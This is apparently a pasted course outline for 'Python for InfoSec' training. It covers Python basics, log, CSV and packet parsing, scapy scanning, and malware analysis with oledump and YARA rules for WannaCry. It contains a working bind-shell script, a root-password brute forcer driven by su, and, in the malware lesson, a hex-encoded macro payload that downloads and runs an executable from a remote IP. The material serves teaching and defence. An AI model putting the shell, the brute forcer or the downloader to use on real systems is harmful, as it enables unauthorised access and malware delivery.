Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #########################################
- # Here is the courseware for this month #
- #########################################
- Class powerpoint slides:ar
- https://s3.amazonaws.com/infosecaddictsfiles/PythonV3-1.pptx
- Courseware Lab Manual
- https://s3.amazonaws.com/infosecaddictsfiles/Python-For-InfoSec-Pros-2015.pdf
- Class Videos:
- https://s3.amazonaws.com/infosecaddictsvideos/2017-07-31+09.32+Python+for+InfoSec+Professionals.mp4
- https://s3.amazonaws.com/infosecaddictsvideos/2017-08-01+09.40+Python+for+InfoSec+Professionals.mp4
- https://s3.amazonaws.com/infosecaddictsvideos/2017-08-02+09.37+Python+for+InfoSec+Professionals.mp4
- https://s3.amazonaws.com/infosecaddictsvideos/2017-08-03+10.29+Python+for+InfoSec+Professionals.mp4
- Resource files:
- https://s3.amazonaws.com/infosecaddictsfiles/Python4SecurityPros-Files.zip
- https://s3.amazonaws.com/infosecaddictsvirtualmachines/StrategicsecUbuntu-v3.zip
- username: strategicsec
- password: strategicsec
- The youtube video playlist that I'd like for you to watch is located here:
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA
- ####################
- # Installing Python#
- ####################
- Windows
- 32-Bit Version
- http://www.python.org/ftp/python/2.7.5/python-2.7.5.msi
- 64-Bit Version
- http://www.python.org/ftp/python/2.7.5/python-2.7.5.amd64.msi
- After you install Python in Windows the next thing you may want to install is IdleX:
- http://idlex.sourceforge.net/features.html
- Linux
- Debian/Ubuntu: sudo apt-get install -y python
- RHEL/CentOS/Fedora: sudo yum install -y python
- After you install Python in Linux the next thing that you will need to do is install idle.
- sudo apt-get install -y idle
- Open IDLE, and let's just dive right in.
- #############################
- # Lesson 1: Simple Printing #
- #############################
- >>> print "Today we are learning Python."
- #####################################
- # Lesson 2: Simple Numbers and Math #
- #####################################
- >>> 2+2
- >>> 6-3
- >>> 18/7
- >>> 18.0/7
- >>> 18.0/7.0
- >>> 18/7
- >>> 9%4
- >>> 8%4
- >>> 8.75%.5
- >>> 6.*7
- >>> 6*6*6
- >>> 6**3
- >>> 5**12
- >>> -5**4
- #######################
- # Lesson 3: Variables #
- #######################
- >>> x=18
- >>> x+15
- >>> x**3
- >>> y=54
- >>> x+y
- >>> g=input("Enter number here: ")
- 43
- >>> g+32
- >>> g**3
- ###################################
- # Lesson 4: Modules and Functions #
- ###################################
- >>> 5**4
- >>> pow(5,4)
- >>> abs(-18)
- >>> abs(5)
- >>> floor(18.7)
- >>> import math
- >>> math.floor(18.7)
- >>> math.sqrt(81)
- >>> joe = math.sqrt
- >>> joe(9)
- >>> joe=math.floor
- >>> joe(19.8)
- ##################################
- # Lesson 5: How to Save Programs #
- ##################################
- Run "IDLE (Python GUI)"
- File -> New Window
- print "Python for InfoSec"
- File -> Save as
- py4InfoSec.py
- Run -> Run Module or Press "F5"
- Create a file name.py
- x = raw_input("Enter name: ")
- print "Hey " + x
- raw_input("Press<enter>")
- Run -> Run Module or Press "F5"
- #####################
- # Lesson 6: Strings #
- #####################
- >>> "XSS"
- >>> 'SQLi'
- >>> "Joe's a python lover"
- >>> 'Joe\'s a python lover'
- >>> "Joe said \"InfoSec is fun\" to me"
- >>> a = "Joe"
- >>> b = "McCray"
- >>> a, b
- >>> a+b
- ##########################
- # Lesson 7: More Strings #
- ##########################
- >>> num = 10
- >>> num + 2
- >>> "The number of open ports found on this system is " + num
- >>> num = str(18)
- >>> "There are " + num + " vulnerabilities found in this environment."
- >>> num2 = 46
- >>> "As of 08/20/2012, the number of states that enacted the Security Breach Notification Law is " + `num2`
- #######################
- # Lesson 8: Raw Input #
- #######################
- Run "IDLE (Python GUI)"
- File -> New Window
- joemccray=input("Enter name: ")
- print joemccray
- Run -> Run Module # Will throw an error
- or
- Press "F5"
- File -> New Window
- joemccray=raw_input("Enter name: ")
- Run -> Run Module # Will throw an error
- or
- Press "F5"
- NOTE:
- Use "input() for integers and expressions, and use raw_input() when you are dealing with strings.
- #################################
- # Lesson 9: Sequences and Lists #
- #################################
- >>> attacks = ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks
- ['Stack Overflow', 'Heap Overflow', 'Integer Overflow', 'SQL Injection', 'Cross-Site Scripting', 'Remote File Include']
- >>> attacks[3]
- 'SQL Injection'
- >>> attacks[-2]
- 'Cross-Site Scripting'
- ##########################
- # Level 10: If Statement #
- ##########################
- Run "IDLE (Python GUI)"
- File -> New Window
- attack="SQLI"
- if attack=="SQLI":
- print 'The attacker is using SQLI'
- Run -> Run Module or Press "F5"
- File >> New Window
- attack="XSS"
- if attack=="SQLI":
- print 'The attacker is using SQLI'
- Run -> Run Module or Press "F5"
- #############################
- # Reference Videos To Watch #
- #############################
- Here is your first set of youtube videos that I'd like for you to watch:
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 1-10)
- ####################################
- # Lesson 11: Intro to Log Analysis #
- ####################################
- Login to your StrategicSec Ubuntu machine. You can download the VM from the following link:
- https://s3.amazonaws.com/infosecaddictsvirtualmachines/StrategicsecUbuntu-v3.zip
- username: strategicsec
- password: strategicsec
- Then execute the following commands:
- ---------------------------------------------------------------------------------------------------------
- NOTE: If you are still in your python interpreter then you must type exit() to get back to a regular command-prompt.
- wget http://pastebin.com/raw/85zZ5TZX
- mv 85zZ5TZX access_log
- cat access_log | grep 141.101.80.188
- cat access_log | grep 141.101.80.187
- cat access_log | grep 108.162.216.204
- cat access_log | grep 173.245.53.160
- ---------------------------------------------------------
- Google the following terms:
- - Python read file
- - Python read line
- - Python read from file
- ########################################################
- # Lesson 12: Use Python to read in a file line by line #
- ########################################################
- Reference:
- http://cmdlinetips.com/2011/08/three-ways-to-read-a-text-file-line-by-line-in-python/
- ---------------------------------------------------------
- vi logread1.py
- ## Open the file with read only permit
- f = open('access_log', "r")
- ## use readlines to read all lines in the file
- ## The variable "lines" is a list containing all lines
- lines = f.readlines()
- print lines
- ## close the file after reading the lines.
- f.close()
- ---------------------------------------------------------
- Google the following:
- - python difference between readlines and readline
- - python readlines and readline
- ################################
- # Lesson 13: A quick challenge #
- ################################
- Can you write an if/then statement that looks for this IP and print "Found it"?
- 141.101.81.187
- ---------------------------------------------------------
- Hint 1: Use Python to look for a value in a list
- Reference:
- http://www.wellho.net/mouth/1789_Looking-for-a-value-in-a-list-Python.html
- ---------------------------------------------------------
- Hint 2: Use Python to prompt for user input
- Reference:
- http://www.cyberciti.biz/faq/python-raw_input-examples/
- ---------------------------------------------------------
- Hint 3: Use Python to search for a string in a list
- Reference:
- http://stackoverflow.com/questions/4843158/check-if-a-python-list-item-contains-a-string-inside-another-string
- Here is my solution:
- -------------------
- $ python
- >>> f = open('access_log', "r")
- >>> lines = f.readlines()
- >>> ip = '141.101.81.187'
- >>> for string in lines:
- ... if ip in string:
- ... print(string)
- Here is one student's solution - can you please explain each line of this code to me?
- -------------------------------------------------------------------------------------
- #!/usr/bin/python
- f = open('access_log')
- strUsrinput = raw_input("Enter IP Address: ")
- for line in iter(f):
- ip = line.split(" - ")[0]
- if ip == strUsrinput:
- print line
- f.close()
- -------------------------------
- Working with another student after class we came up with another solution:
- #!/usr/bin/env python
- # This line opens the log file
- f=open('access_log',"r")
- # This line takes each line in the log file and stores it as an element in the list
- lines = f.readlines()
- # This lines stores the IP that the user types as a var called userinput
- userinput = raw_input("Enter the IP you want to search for: ")
- # This combination for loop and nested if statement looks for the IP in the list called lines and prints the entire line if found.
- for ip in lines:
- if ip.find(userinput) != -1:
- print ip
- ##################################################
- # Lession 14: Look for web attacks in a log file #
- ##################################################
- In this lab we will be looking at the scan_log.py script and it will scan the server log to find out common hack attempts within your web server log.
- Supported attacks:
- 1. SQL Injection
- 2. Local File Inclusion
- 3. Remote File Inclusion
- 4. Cross-Site Scripting
- wget https://s3.amazonaws.com/infosecaddictsfiles/scan_log.py
- The usage for scan_log.py is simple. You feed it an apache log file.
- cat scan_log.py | less (use your up/down arrow keys to look through the file)
- Explain to me how this script works.
- ################################
- # Lesson 15: Parsing CSV Files #
- ################################
- Dealing with csv files
- Reference:
- http://www.pythonforbeginners.com/systems-programming/using-the-csv-module-in-python/
- Type the following commands:
- ---------------------------------------------------------------------------------------------------------
- wget https://s3.amazonaws.com/infosecaddictsfiles/class_nessus.csv
- Example 1 - Reading CSV files
- -----------------------------
- #To be able to read csv formated files, we will first have to import the
- #csv module.
- import csv
- with open('class_nessus.csv', 'rb') as f:
- reader = csv.reader(f)
- for row in reader:
- print row
- Example 2 - Reading CSV files
- -----------------------------
- vi readcsv.py
- #!/usr/bin/python
- import csv # imports the csv module
- import sys # imports the sys module
- f = open(sys.argv[1], 'rb') # opens the csv file
- try:
- reader = csv.reader(f) # creates the reader object
- for row in reader: # iterates the rows of the file in orders
- print row # prints each row
- finally:
- f.close() # closing
- Example 3 - - Reading CSV files
- -------------------------------
- vi readcsv2.py
- #!/usr/bin/python
- # This program will then read it and displays its contents.
- import csv
- ifile = open('class_nessus.csv', "rb")
- reader = csv.reader(ifile)
- rownum = 0
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- for col in row:
- print '%-8s: %s' % (header[colnum], col)
- colnum += 1
- rownum += 1
- ifile.close()
- python readcsv2.py | less
- /---------------------------------------------------/
- --------------------PARSING CSV FILES----------------
- /---------------------------------------------------/
- -------------TASK 1------------
- vi readcsv3.py
- #!/usr/bin/python
- import csv
- f = open('class_nessus.csv', 'rb')
- try:
- rownum = 0
- reader = csv.reader(f)
- for row in reader:
- #Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high':
- print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
- rownum += 1
- finally:
- f.close()
- python readcsv3.py | less
- -------------TASK 2------------
- vi readcsv4.py
- #!/usr/bin/python
- import csv
- f = open('class_nessus.csv', 'rb')
- try:
- print '/---------------------------------------------------/'
- rownum = 0
- hosts = {}
- reader = csv.reader(f)
- for row in reader:
- # Save header row.
- if rownum == 0:
- header = row
- else:
- colnum = 0
- if row[3].lower() == 'high' and row[4] not in hosts:
- hosts[row[4]] = row[4]
- print '%-1s: %s %-1s: %s %-1s: %s %-1s: %s' % (header[3], row[3],header[4], row[4],header[5], row[5],header[6], row[6])
- rownum += 1
- finally:
- f.close()
- python readcsv4.py | less
- #################################################
- # Lesson 16: Parsing Packets with Python's DPKT #
- #################################################
- The first thing that you will need to do is install dpkt.
- sudo apt-get install -y python-dpkt
- Now cd to your courseware directory, and the cd into the subfolder '2-PCAP-Parsing/Resources'.
- Run tcpdump to capture a .pcap file that we will use for the next exercise
- sudo tcpdump -ni eth0 -s0 -w quick.pcap
- --open another command prompt--
- wget http://packetlife.net/media/library/12/tcpdump.pdf
- Let's do something simple:
- vi quickpcap.py
- --------------------------------------------------------
- #!/usr/bin/python
- import dpkt;
- # Simple script to read the timestamps in a pcap file
- # Reference: http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-0-simple-example-how-to.html
- f = open("quick.pcap","rb")
- pcap = dpkt.pcap.Reader(f)
- for ts, buf in pcap:
- print ts;
- f.close();
- --------------------------------------------------------
- Now let's run the script we just wrote
- python quickpcap.py
- How dpkt breaks down a packet:
- Reference:
- http://superbabyfeng.blogspot.com/2009/05/dpkt-tutorial-1-dpkt-sub-modules.html
- src: the MAC address of SOURCE.
- dst: The MAC address of DESTINATION
- type: The protocol type of contained ethernet payload.
- The allowed values are listed in the file "ethernet.py",
- such as:
- a) ETH_TYPE_IP: It means that the ethernet payload is IP layer data.
- b) ETH_TYPE_IPX: Means that the ethernet payload is IPX layer data.
- References:
- http://stackoverflow.com/questions/6337878/parsing-pcap-files-with-dpkt-python
- Ok - now let's have a look at pcapparsing.py
- sudo tcpdump -ni eth0 -s0 -w capture-100.pcap
- --open another command prompt--
- wget http://packetlife.net/media/library/13/Wireshark_Display_Filters.pdf
- Ok - now let's have a look at pcapparsing.py
- --------------------------------------------------------
- import socket
- import dpkt
- import sys
- f = open('capture-100.pcap','r')
- pcapReader = dpkt.pcap.Reader(f)
- for ts,data in pcapReader:
- ether = dpkt.ethernet.Ethernet(data)
- if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
- ip = ether.data
- tcp = ip.data
- src = socket.inet_ntoa(ip.src)
- srcport = tcp.sport
- dst = socket.inet_ntoa(ip.dst)
- dstport = tcp.dport
- print "src: %s (port : %s)-> dest: %s (port %s)" % (src,srcport ,dst,dstport)
- f.close()
- --------------------------------------------------------
- OK - let's run it:
- python pcapparsing.py
- running this script might throw an error like this:
- Traceback (most recent call last):
- File "pcapparsing.py", line 9, in <module>
- if ether.type != dpkt.ethernet.ETH_TYPE_IP: raise
- If it does it is just because your packet has something in it that we didn't specify (maybe ICMP, or something)
- Your homework for today...
- Rewrite this pcapparsing.py so that it prints out the timestamp, the source and destination IP addresses, and the source and destination ports.
- Your challenge is to fix the Traceback error
- #!/usr/bin/python
- import pcapy
- import dpkt
- import sys
- import socket
- import struct
- SINGLE_SHOT = False
- # list all the network devices
- pcapy.findalldevs()
- iface = "eth0"
- filter = "arp"
- max_bytes = 1024
- promiscuous = False
- read_timeout = 100 # in milliseconds
- pc = pcapy.open_live( iface, max_bytes, promiscuous, read_timeout )
- pc.setfilter( filter )
- # callback for received packets
- def recv_pkts( hdr, data ):
- packet = dpkt.ethernet.Ethernet( data )
- print type( packet.data )
- print "ipsrc: %s, ipdst: %s" %( \
- socket.inet_ntoa( packet.data.spa ), \
- socket.inet_ntoa( packet.data.tpa ) )
- print "macsrc: %s, macdst: %s " % (
- "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.sha),
- "%x:%x:%x:%x:%x:%x" % struct.unpack("BBBBBB",packet.data.tha ) )
- if SINGLE_SHOT:
- header, data = pc.next()
- sys.exit(0)
- else:
- packet_limit = -1 # infinite
- pc.loop( packet_limit, recv_pkts ) # capture packets
- #############################
- # Reference Videos To Watch #
- #############################
- Here is your second set of youtube videos that I'd like for you to watch:
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 11-20)
- #############################################
- # Lesson 17: Python Sockets & Port Scanning #
- #############################################
- $ ncat -l -v -p 1234
- --open another terminal--
- python
- >>> import socket
- >>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- >>> s.connect(('localhost', 1234))
- >>> s.send('Hello, world')
- >>> data = s.recv(1024)
- >>> s.close()
- >>> print 'Received', data
- ########################################
- # Lesson 18: TCP Client and TCP Server #
- ########################################
- vi tcpclient.py
- #!/usr/bin/python
- # tcpclient.py
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- hostport = ("127.0.0.1", 1337)
- s.connect(hostport)
- s.send("Hello\n")
- buf = s.recv(1024)
- print "Received", buf
- vi tcpserver.py
- #!/usr/bin/python
- # tcpserver.py
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- hostport = ("", 1337)
- s.bind(hostport)
- s.listen(10)
- while 1:
- cli,addr = s.accept()
- print "Connection from", addr
- buf = cli.recv(1024)
- print "Received", buf
- if buf == "Hello\n":
- cli.send("Server ID 1\n")
- cli.close()
- python tcpserver.py
- --open another terminal--
- python tcpclient.py
- ########################################
- # Lesson 19: UDP Client and UDP Server #
- ########################################
- vi udpclient.py
- #!/usr/bin/python
- # udpclient.py
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- hostport = ("127.0.0.1", 1337)
- s.sendto("Hello\n", hostport)
- buf = s.recv(1024)
- print buf
- vi udpserver.py
- #!/usr/bin/python
- # udpserver.py
- import socket
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- hostport = ("127.0.0.1", 1337)
- s.bind(hostport)
- while 1:
- buf, address = s.recvfrom(1024)
- print buf
- if buf == "Hello\n":
- s.sendto("Server ID 1\n", address)
- python udpserver.py
- --open another terminal--
- python udpclient.py
- ###############################
- # Lesson 20: Installing Scapy #
- ###############################
- sudo apt-get update
- sudo apt-get install python-scapy python-pyx python-gnuplot
- Reference Page For All Of The Commands We Will Be Running:
- http://samsclass.info/124/proj11/proj17-scapy.html
- Great slides for Scapy:
- http://www.secdev.org/conf/scapy_csw05.pdf
- To run Scapy interactively
- sudo scapy
- ################################################
- # Lesson 21: Sending ICMPv4 Packets with scapy #
- ################################################
- In the Linux machine, in the Terminal window, at the >>> prompt, type this command, and then press the Enter key:
- i = IP()
- This creates an object named i of type IP. To see the properties of that object, use the display() method with this command:
- i.display()
- Use these commands to set the destination IP address and display the properties of the i object again. Replace the IP address in the first command with the IP address of your target Windows machine:
- i.dst="10.65.75.49"
- i.display()
- Notice that scapy automatically fills in your machine's source IP address.
- Use these commands to create an object named ic of type ICMP and display its properties:
- ic = ICMP()
- ic.display()
- Use this command to send the packet onto the network and listen to a single packet in response. Note that the third character is the numeral 1, not a lowercase L:
- sr1(i/ic)
- This command sends and receives one packet, of type IP at layer 3 and ICMP at layer 4. As you can see in the image above, the response is shown, with ICMP type echo-reply.
- The Padding section shows the portion of the packet that carries higher-level data. In this case it contains only zeroes as padding.
- Use this command to send a packet that is IP at layer 3, ICMP at layer 4, and that contains data with your name in it (replace YOUR NAME with your own name):
- sr1(i/ic/"YOUR NAME")
- You should see a reply with a Raw section containing your name.
- ##############################################
- # Lesson 22: Sending a UDP Packet with Scapy #
- ##############################################
- Preparing the Target
- $ ncat -ulvp 4444
- --open another terminal--
- In the Linux machine, in the Terminal window, at the >>> prompt, type these commands, and then press the Enter key:
- u = UDP()
- u.display()
- This creates an object named u of type UDP, and displays its properties.
- Execute these commands to change the destination port to 4444 and display the properties again:
- i.dst="10.10.2.97" <--- replace this with a host that you can run netcat on (ex: another VM or your host computer)
- u.dport = 4444
- u.display()
- Execute this command to send the packet to the Windows machine:
- send(i/u/"YOUR NAME SENT VIA UDP\n")
- On the Windows target, you should see the message appear
- #######################################
- # Lesson 23: Ping Sweeping with Scapy #
- #######################################
- #!/usr/bin/python
- from scapy.all import *
- TIMEOUT = 2
- conf.verb = 0
- for ip in range(0, 256):
- packet = IP(dst="10.10.30." + str(ip), ttl=20)/ICMP()
- # You will need to change 10.10.30 above this line to the subnet for your network
- reply = sr1(packet, timeout=TIMEOUT)
- if not (reply is None):
- print reply.dst, "is online"
- else:
- print "Timeout waiting for %s" % packet[IP].dst
- ###############################################
- # Checking out some scapy based port scanners #
- ###############################################
- wget https://s3.amazonaws.com/infosecaddictsfiles/rdp_scan.py
- cat rdp_scan.py
- sudo python rdp_scan.py
- ######################################
- # Dealing with conf.verb=0 NameError #
- ######################################
- conf.verb = 0
- NameError: name 'conf' is not defined
- Fixing scapy - some scripts are written for the old version of scapy so you'll have to change the following line from:
- from scapy import *
- to
- from scapy.all import *
- Reference:
- http://hexale.blogspot.com/2008/10/wifizoo-and-new-version-of-scapy.html
- conf.verb=0 is a verbosity setting (configuration/verbosity = conv
- Here are some good Scapy references:
- http://www.secdev.org/projects/scapy/doc/index.html
- http://resources.infosecinstitute.com/port-scanning-using-scapy/
- http://www.hackerzvoice.net/ouah/blackmagic.txt
- http://www.workrobot.com/sansfire2009/SCAPY-packet-crafting-reference.html
- ######################################
- # Lesson 24: Bind and Reverse Shells #
- ######################################
- vi simplebindshell.py
- #!/bin/python
- import os,sys,socket
- ls = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
- print '-Creating socket..'
- port = 31337
- try:
- ls.bind(('', port))
- print '-Binding the port on '
- ls.listen(1)
- print '-Listening, '
- (conn, addr) = ls.accept()
- print '-Waiting for connection...'
- cli= conn.fileno()
- print '-Redirecting shell...'
- os.dup2(cli, 0)
- print 'In, '
- os.dup2(cli, 1)
- print 'Out, '
- os.dup2(cli, 2)
- print 'Err'
- print 'Done!'
- arg0='/bin/sh'
- arg1='-a'
- args=[arg0]+[arg1]
- os.execv(arg0, args)
- except(socket.error):
- print 'fail\n'
- conn.close()
- sys.exit(1)
- nc TARGETIP 31337
- ---------------------
- Preparing the target for a reverse shell
- $ ncat -lvp 4444
- --open another terminal--
- wget https://www.trustedsec.com/files/simple_py_shell.py
- vi simple_py_shell.py
- -------------------------------
- Tricky shells
- Reference:
- http://securityweekly.com/2011/10/python-one-line-shell-code.html
- http://resources.infosecinstitute.com/creating-undetectable-custom-ssh-backdoor-python-z/
- #############################
- # Reference Videos To Watch #
- #############################
- Here is your third set of youtube videos that I'd like for you to watch:
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 21-30)
- #################################################
- # Lesson 25: Python Functions & String Handling #
- #################################################
- Python can make use of functions:
- http://www.tutorialspoint.com/python/python_functions.htm
- Python can interact with the 'crypt' function used to create Unix passwords:
- http://docs.python.org/2/library/crypt.html
- Tonight we will see a lot of the split() method so be sure to keep the following references close by:
- http://www.tutorialspoint.com/python/string_split.htm
- Tonight we will see a lot of slicing so be sure to keep the following references close by:
- http://techearth.net/python/index.php5?title=Python:Basics:Slices
- ################################
- # Lesson 26: Password Cracking #
- ################################
- wget https://s3.amazonaws.com/infosecaddictsfiles/htcrack.py
- vi htcrack.py
- vi list.txt
- hello
- goodbye
- red
- blue
- yourname
- tim
- bob
- htpasswd -nd yourname
- - enter yourname as the password
- python htcrack.py joe:7XsJIbCFzqg/o list.txt
- sudo apt-get install -y python-mechanize python-pexpect python-pexpect-doc
- rm -rf mechanize-0.2.5.tar.gz
- sudo /bin/bash
- passwd
- ***set root password***
- vi rootbrute.py
- #!/usr/bin/env python
- import sys
- try:
- import pexpect
- except(ImportError):
- print "\nYou need the pexpect module."
- print "http://www.noah.org/wiki/Pexpect\n"
- sys.exit(1)
- #Change this if needed.
- # LOGIN_ERROR = 'su: incorrect password'
- LOGIN_ERROR = "su: Authentication failure"
- def brute(word):
- print "Trying:",word
- child = pexpect.spawn('/bin/su')
- child.expect('Password: ')
- child.sendline(word)
- i = child.expect (['.+\s#\s',LOGIN_ERROR, pexpect.TIMEOUT],timeout=3)
- if i == 1:
- print "Incorrect Password"
- if i == 2:
- print "\n\t[!] Root Password:" ,word
- child.sendline ('id')
- print child.before
- child.interact()
- if len(sys.argv) != 2:
- print "\nUsage : ./rootbrute.py <wordlist>"
- print "Eg: ./rootbrute.py words.txt\n"
- sys.exit(1)
- try:
- words = open(sys.argv[1], "r").readlines()
- except(IOError):
- print "\nError: Check your wordlist path\n"
- sys.exit(1)
- print "\n[+] Loaded:",len(words),"words"
- print "[+] BruteForcing...\n"
- for word in words:
- brute(word.replace("\n",""))
- References you might find helpful:
- http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python
- wget https://s3.amazonaws.com/infosecaddictsfiles/md5crack.py
- vi md5crack.py
- Why use hexdigest
- http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string
- http://md5online.net/
- wget https://s3.amazonaws.com/infosecaddictsfiles/wpbruteforcer.py
- #############################
- # Reference Videos To Watch #
- #############################
- Here is your forth set of youtube videos that I'd like for you to watch:
- https://www.youtube.com/playlist?list=PLEA1FEF17E1E5C0DA (watch videos 31-40)
- ###############################
- # Lesson 28: Malware Analysis #
- ###############################
- ################
- # The Scenario #
- ################
- You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
- The fastest thing you can do is perform static analysis.
- sudo pip install olefile
- infosecaddicts
- mkdir ~/Desktop/oledump
- cd ~/Desktop/oledump
- wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
- unzip oledump_V0_0_22.zip
- wget https://s3.amazonaws.com/infosecaddictsfiles/064016.zip
- unzip 064016.zip
- infected
- python oledump.py 064016.doc
- python oledump.py 064016.doc -s A4 -v
- - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
- - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
- python oledump.py 064016.doc -s A5 -v
- - As far as I can tell, VBA/Module2 does absolutely nothing. These are nonsensical functions designed to confuse heuristic scanners.
- python oledump.py 064016.doc -s A3 -v
- - Look for "GVhkjbjv" and you should see:
- 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
- - Take that long blob that starts with 636D and finishes with 653B and paste it in:
- http://www.rapidtables.com/convert/number/hex-to-ascii.htm
- ###################
- # Static Analysis #
- ###################
- - After logging please open a terminal window and type the following commands:
- cd Desktop/
- wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
- unzip wannacry.zip
- infected
- file wannacry.exe
- mv wannacry.exe malware.pdf
- file malware.pdf
- mv malware.pdf wannacry.exe
- hexdump -n 2 -C wannacry.exe
- ***What is '4d 5a' or 'MZ'***
- Reference:
- http://www.garykessler.net/library/file_sigs.html
- objdump -x wannacry.exe
- strings wannacry.exe
- strings --all wannacry.exe | head -n 6
- strings wannacry.exe | grep -i dll
- strings wannacry.exe | grep -i library
- strings wannacry.exe | grep -i reg
- strings wannacry.exe | grep -i key
- strings wannacry.exe | grep -i rsa
- strings wannacry.exe | grep -i open
- strings wannacry.exe | grep -i get
- strings wannacry.exe | grep -i mutex
- strings wannacry.exe | grep -i irc
- strings wannacry.exe | grep -i join
- strings wannacry.exe | grep -i admin
- strings wannacry.exe | grep -i list
- Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
- Quick Google search for "wannacry ransomeware analysis"
- Reference
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- - Yara Rule -
- Strings:
- $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
- $s2 = “Wanna Decryptor” wide ascii nocase
- $s3 = “.wcry” wide ascii nocase
- $s4 = “WANNACRY” wide ascii nocase
- $s5 = “WANACRY!” wide ascii nocase
- $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
- Ok, let's look for the individual strings
- strings wannacry.exe | grep -i ooops
- strings wannacry.exe | grep -i wanna
- strings wannacry.exe | grep -i wcry
- strings wannacry.exe | grep -i wannacry
- strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
- ####################################
- # Tired of GREP - let's try Python #
- ####################################
- Decided to make my own script for this kind of stuff in the future. I
- Reference1:
- https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
- This is a really good script for the basics of static analysis
- Reference:
- https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
- This is really good for showing some good signatures to add to the Python script
- Here is my own script using the signatures (started this yesterday, but still needs work):
- https://pastebin.com/guxzCBmP
- sudo apt install -y python-pefile
- infosecaddicts
- wget https://pastebin.com/raw/guxzCBmP
- mv guxzCBmP am.py
- vi am.py
- python am.py wannacry.exe
- ##############
- # Yara Ninja #
- ##############
- cd ~/Desktop
- sudo apt-get remove -y yara
- infosecaddcits
- sudo apt -y install libtool
- infosecaddicts
- wget https://github.com/VirusTotal/yara/archive/v3.6.0.zip
- unzip v3.6.0.zip
- cd yara-3.6.0
- ./bootstrap.sh
- ./configure
- make
- sudo make install
- infosecaddicts
- yara -v
- cd ~/Desktop
- NOTE:
- McAfee is giving these yara rules - so add them to the hashes.txt file
- Reference:
- https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
- ----------------------------------------------------------------------------
- rule wannacry_1 : ransom
- {
- meta:
- author = "Joshua Cannell"
- description = "WannaCry Ransomware strings"
- weight = 100
- date = "2017-05-12"
- strings:
- $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
- $s2 = "Wanna Decryptor" wide ascii nocase
- $s3 = ".wcry" wide ascii nocase
- $s4 = "WANNACRY" wide ascii nocase
- $s5 = "WANACRY!" wide ascii nocase
- $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
- condition:
- any of them
- }
- ----------------------------------------------------------------------------
- rule wannacry_2{
- meta:
- author = "Harold Ogden"
- description = "WannaCry Ransomware Strings"
- date = "2017-05-12"
- weight = 100
- strings:
- $string1 = "msg/m_bulgarian.wnry"
- $string2 = "msg/m_chinese (simplified).wnry"
- $string3 = "msg/m_chinese (traditional).wnry"
- $string4 = "msg/m_croatian.wnry"
- $string5 = "msg/m_czech.wnry"
- $string6 = "msg/m_danish.wnry"
- $string7 = "msg/m_dutch.wnry"
- $string8 = "msg/m_english.wnry"
- $string9 = "msg/m_filipino.wnry"
- $string10 = "msg/m_finnish.wnry"
- $string11 = "msg/m_french.wnry"
- $string12 = "msg/m_german.wnry"
- $string13 = "msg/m_greek.wnry"
- $string14 = "msg/m_indonesian.wnry"
- $string15 = "msg/m_italian.wnry"
- $string16 = "msg/m_japanese.wnry"
- $string17 = "msg/m_korean.wnry"
- $string18 = "msg/m_latvian.wnry"
- $string19 = "msg/m_norwegian.wnry"
- $string20 = "msg/m_polish.wnry"
- $string21 = "msg/m_portuguese.wnry"
- $string22 = "msg/m_romanian.wnry"
- $string23 = "msg/m_russian.wnry"
- $string24 = "msg/m_slovak.wnry"
- $string25 = "msg/m_spanish.wnry"
- $string26 = "msg/m_swedish.wnry"
- $string27 = "msg/m_turkish.wnry"
- $string28 = "msg/m_vietnamese.wnry"
- condition:
- any of ($string*)
- }
- ----------------------------------------------------------------------------
- #######################
- # External DB Lookups #
- #######################
- Creating a malware database (sqlite)
- ------------------------------------
